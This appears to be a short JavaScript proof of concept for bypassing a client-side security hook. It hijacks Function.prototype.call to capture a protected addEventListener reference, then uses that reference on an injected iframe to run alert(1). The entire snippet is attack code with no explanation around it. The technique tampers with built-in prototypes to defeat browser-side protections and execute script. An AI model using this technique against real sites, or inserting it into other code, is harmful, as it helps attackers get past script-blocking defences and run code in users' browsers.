var _call = Function.prototype.call;
Function.prototype.call = function() {
    var args = Array.from(arguments);
    if (args[2].toString().includes('hook')) {
        _addEventListener = this; // steal ref
        return;
    }
    return _call.apply(this, args);
};
var f = document.createElement('iframe');
document.body.appendChild(f);
var f2 = document.createElement('iframe');
_addEventListener.apply(f2, ['load', function() {
    this.contentWindow.alert(1);
}]);
document.body.appendChild(f2);